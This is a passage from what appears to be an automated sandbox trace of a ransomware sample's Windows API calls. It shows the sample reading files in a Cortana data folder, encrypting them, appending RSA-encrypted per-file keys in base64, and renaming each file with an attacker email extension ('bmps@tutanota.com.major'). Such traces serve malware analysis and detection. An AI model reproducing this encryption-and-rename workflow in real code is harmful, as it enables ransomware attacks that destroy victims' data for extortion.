pszString="eSzOgJ4WFpx6KPSqRtYG2rSXUkHOO8ColPMbyE37KILIa3UKF/qYbqZ6iJ+TGlAX\naoIKFdE1aLZniyyH3srFXfcWnspTtcVenBf57xe5CigCKqtJYamg0ODUnCK084ec\nXf5JxW5/n8/Uf4XQY7k3aSvclgHd/EkryPWeuj/pjZ8GZgiq6VbyHUSr9GPhtl0S\n8MNliPlUGgISiMWfRjx+ImiX5bcDQWD11Iw8zAM0qn+k/AUAgBNn0kaBzY8XwNLY\nt7deFb2W5UDqRhfWb8JuUrXfH4XVf4AWuzxsF3IeTvcRc7xvUNGDqF4og142JRAY\noKSoSdQbbo0TwYOu8XB9rw==\n", pcchString=0x2e3f9a8) returned 1 [0249.691] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.691] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.691] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.691] CloseHandle (hObject=0x1b0c) returned 1 [0249.691] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appssynonyms.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.693] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.693] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt", dwFileAttributes=0x80) returned 1 [0249.696] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.696] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=357772) returned 1 [0249.696] ReadFile (in: hFile=0x1b0c, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x5758c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x5758c, lpOverlapped=0x0) returned 1 [0249.785] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-357772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.785] WriteFile (in: hFile=0x1b0c, lpBuffer=0x344c5b0*, nNumberOfBytesToWrite=0x5758c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344c5b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5758c, lpOverlapped=0x0) returned 1 [0249.786] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5758c [0249.786] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.786] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.787] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.787] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.787] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.787] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="U8MxqBKRGCes+RoZ9htLB+DIbLWmngAW0IfNDBCBAs1LWt8VaDegO3/ytcymkKaE\nWoogll57tXxqicL4oL/N7LAUuUcnDtjrM8DK/ZqE/YjZ1ULoODYaFMAQMFywxJRj\nxb9zGBy6chywZ6m57HyT2i++eJJpzsbwBuKxeCnKtphPR/DvaRwAjq8AjqFF6t7G\n1ZoZ4K5PWBwJxsbxFDgD4OGFeh/UcKeKutwdezhXprb/perhluF7TP1u0UoxS5+p\nmeyYt4snRJgLtnWPLp7kSd+8nqlV9yA7hYoJVVi3AcFQDGwZMz2SL1Wld6rKQISA\nNomGgub2mnj7pqaxI3ypWQ==\n", pcchString=0x2e3f9a8) returned 1 [0249.787] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.787] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.787] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.787] CloseHandle (hObject=0x1b0c) returned 1 [0249.787] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsglobals.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.789] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.790] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt", dwFileAttributes=0x80) returned 1 [0249.790] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.790] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=31582) returned 1 [0249.790] ReadFile (in: hFile=0x1b0c, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x7b5e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x7b5e, lpOverlapped=0x0) returned 1 [0249.792] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-31582, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.792] WriteFile (in: hFile=0x1b0c, lpBuffer=0x33fcb80*, nNumberOfBytesToWrite=0x7b5e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33fcb80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7b5e, lpOverlapped=0x0) returned 1 [0249.792] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7b5e [0249.792] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.792] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.792] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.792] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.793] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.793] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="elx8Dezs632RNRfsFcQYoAzLPiPvZ+19CVxzBBq6o40O34rcDFHaqej+I0K/I5db\nXpMSpBZcWy9qY002UDEiZAnPvc/DEJ9FghGL0xOHOkbPAA5v9zyXoOloh5+zDBpS\n2bEgk0n2eUj6D/9IZb3Tp4nECgXH3TCjf3gwdTj1ep5ci0jm5GOcsEaAQYPZhDVp\nfmLpicEP3NQ4xX4gnr5LqlEcbojzYZm5SG9LuN4mHrWcHU1MmF0rPNZqsQM12Kc6\nRpaqhANUJCaphBY2CtuSJTGq+NwIE3CLkxytlb2+5d+ZkcdPZ6muQ0vp4Re2bocQ\nJ42gQgh0majIdeDZ7Rn9tQ==\n", pcchString=0x2e3f9a8) returned 1 [0249.793] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.793] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.793] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.793] CloseHandle (hObject=0x1b0c) returned 1 [0249.793] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\appsconversions.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.795] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.795] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema", dwFileAttributes=0x80) returned 1 [0249.795] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.796] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=150) returned 1 [0249.796] ReadFile (in: hFile=0x1b0c, lpBuffer=0x5b4f88, nNumberOfBytesToRead=0x96, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b4f88*, lpNumberOfBytesRead=0x2e3f9b4*=0x96, lpOverlapped=0x0) returned 1 [0249.796] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.796] WriteFile (in: hFile=0x1b0c, lpBuffer=0x57e1d0*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x96, lpOverlapped=0x0) returned 1 [0249.797] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x96 [0249.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.797] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.797] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.797] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.797] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8uYqKbvFGLtdY/sGS6PWSt6hv06cU6ggF2cQK259soJFE6WPSIs/8Lv3NRrkqCWg\nmZ7PhyFgpf1zBgcVbdK1ncxshBu3LQNlQ/TWDunL9ZkovAS/pZzH99N5gkfiUaz/\nLgjtHHpAcv1+mVlS/NyAmkI4g+bN38nKfUCgGCFBoNcb/zpvqwcvStOsRHlqEXJG\nl/yF7KzPiJpkv0E7WE3sYnYVzm51mvWDmq0aHVvM9qxJMzlo3TghAs9LEXUbNdS7\nk8t+R2R4WwsV7rYHZwsNEia9m5e0peqjj7sGhHTBMnP3vOey7y5laIiwf7E2p0je\nKUwUNH5H1kFfP1i8kJMHSw==\n", pcchString=0x2e3f9a8) returned 1 [0249.797] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.797] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.797] CloseHandle (hObject=0x1b0c) returned 1 [0249.797] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.schema.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.800] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0249.800] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg", dwFileAttributes=0x80) returned 1 [0249.800] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0c [0249.800] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=280) returned 1 [0249.801] ReadFile (in: hFile=0x1b0c, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x118, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x118, lpOverlapped=0x0) returned 1 [0249.801] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=-280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0249.802] WriteFile (in: hFile=0x1b0c, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x118, lpOverlapped=0x0) returned 1 [0249.802] SetFilePointer (in: hFile=0x1b0c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x118 [0249.802] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.802] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0249.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0249.802] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0249.802] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JoKts4u1WjlaOImDs2rQrGrWE7P1wx4YnHR3sDpRPofzy15lU5bAR0mEM8OLpgFS\nzbsjVmQLGL9ZP/62EZ+U25NkF7d8mhYi6STf4DLU+2AdLQYLfujy805K0BsTkcXh\nmAtC9ff9gjcSwD74YjCrFMvvqaCYRs94IWHLZspS4wFSPEuzIpk1gALBD9eC2g9X\nKTWkyqKAv+/bg6PxLM9fIof6IDh17lspK1WM+WA1P72plGVEihgRKEKhrdHu+q5s\nYqMFWFr48jWtvuY4AzT6DN72qU38hLKegx7J6zrI0mearTx1VbbzovSyu7y45xgu\nwkXs/apBG3hfULdJmgIUhQ==\n", pcchString=0x2e3f9a8) returned 1 [0249.802] WriteFile (in: hFile=0x1b0c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0249.802] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0249.802] WriteFile (in: hFile=0x1b0c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0249.803] CloseHandle (hObject=0x1b0c) returned 1 [0249.803] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\apps.csg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0249.805] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Settings_{26159dcd-00b6-4881-a91c-092cd378d482}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525872ee, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x53362df6, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x4766b2dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31b60 [0249.806] SetLastError (dwErrCode=0x0) [0249.806] GetLastError () returned 0x0 [0249.806] SetLastError (dwErrCode=0x0) [0249.806] GetLastError () returned 0x0 [0249.806] SetLastError (dwErrCode=0x0) [0249.806] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525872ee, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x53362df6, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x4766b2dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0249.806] SetLastError (dwErrCode=0x0) [0249.806] GetLastError () returned 0x0 [0249.806] SetLastError (dwErrCode=0x0) [0249.806] GetLastError () returned 0x0 [0249.806] SetLastError (dwErrCode=0x0) [0249.806] FindNextFileW (in: hFindFile=0x2f31b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c8819a, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x52c8819a, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x52e5203f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x160bf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0249.806] SetLastError 